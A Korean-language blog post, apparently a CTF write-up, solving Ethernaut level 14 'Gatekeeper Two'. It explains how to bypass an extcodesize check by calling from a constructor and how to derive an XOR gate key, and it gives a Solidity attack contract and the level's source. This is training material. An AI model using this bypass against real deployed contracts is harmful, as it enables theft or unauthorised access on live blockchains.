본문 바로가기

CTF/Ethernaut

[Ethernaut] 14.Gatekeeper Two

Ethernaut levevl 14 의 요구사항

entrant에 등록하기.

게이트키퍼 1에서 배웠던 거 써먹고, assembly키워드 extcodesize사용해야 하고, XOR연산자 사용 등등. 가보자.

 

Gatekeeper Two에서도 One과 마찬가지로 3가지 modifier를 통과해야 한다. 

gateOne => 컨트랙트 작성해서 패스 가능 

 

gateTwo => 

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

이런 식인데 extcodesize(caller())가 0 이어야한다. 

컨트랙트의 extcodesize가 0이어야한다는 것인데 constructor을 통해서 컨트랙트가 배포되기 전에 진입한다면 가능하다. 

 

gateThree =>

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

^ 는 XOR 비트연산자이다. 

그래서 

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) 값과

uint64(_gateKey) 값 중에서 같지 않은 것을 1로 출력한다. 

 

type(uint64).max의 값은 18446744073709551615이다. 

18446744073709551615는 16진수(hex)로 바꾸면 FFFFFFFFFFFFFFFF이다. 

FFFFFFFFFFFFFFFF는 또 2진수로 바꾸면 1111111111111111111111111111111111111111111111111111111111111111 을 나타낸다. 

 

그러니까 정리해보면 uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))값과 uint64(_gateKey) 값 중에 같은 것이 하나도 없어서 1111 ~ 이 나와서 gateThree를 통과할 수 있다는 말이 된다. 

 

msg.sender는 공격컨트랙트가 될 거니까. 컨트랙트 주소 나온 것을 bytes8(keccak256(abi.encodePacked(msg.sender))) 해서 나온 16진수 값을 2진수로 바꾼 다음 그것과 XOR연산을 해서 모두 1이 나오는 _gateKey값을 구해서 넣어주면 된다. 

 

여기까지 생각하고 컨트랙트 작성.! 

 

그런데 컨트랙트의 constructor에서 실행해야 하기 때문에 주소를 미리 알아서 그것을 처리하기 힘들다. 

그랬을 때는 반전 연산자( ~ )를 사용해야 한다. 

contract AttackGatekeeperTwo {

    constructor(address _gatekeeperTwo){
        bytes32 hash = keccak256(abi.encodePacked(address(this)));
        bytes8 truncatedHash = bytes8(hash);
        uint64 originalValue = uint64(truncatedHash);
        uint64 invertedValue = ~originalValue;
        bytes8 key = bytes8(invertedValue);
        GatekeeperTwo(_gatekeeperTwo).enter(key);
    }
    
   }

 

 

다른 블로그를 보니까 조금 더 간결하게 작성한 풀이가 있다. 

bytes8 myKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));

이런 식으로 key를 간결하게 구했다.

그런데 블로그에서는 솔리디티 0.6 버전대를 사용하고 있는데 저때는 언더플로우 체크를 자동으로 안 해줘서 에러가 발생하지 않지만 

0.8 버전에서는 언더플로우, 오버플로우를 자동으로 체크해주기 때문에 에러가 발생한다. 따라서 0.8 버전에서는 사용할 수 없는 풀이다.

 

 

 

level 14.Gatekeeper Two 코드 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

 

 
 

'CTF > Ethernaut' 카테고리의 다른 글

[Ethernaut] 16. Preservation  (0) 2024.02.15
[Ethernaut] 15.Naught Coin  (0) 2024.02.12
[Ethernaut] 13.Gatekeeper One (!!hard!!)  (0) 2024.02.09
[Ethernaut] 12.Privacy  (0) 2024.02.08
[Ethernaut] 11.Elevator  (0) 2024.02.08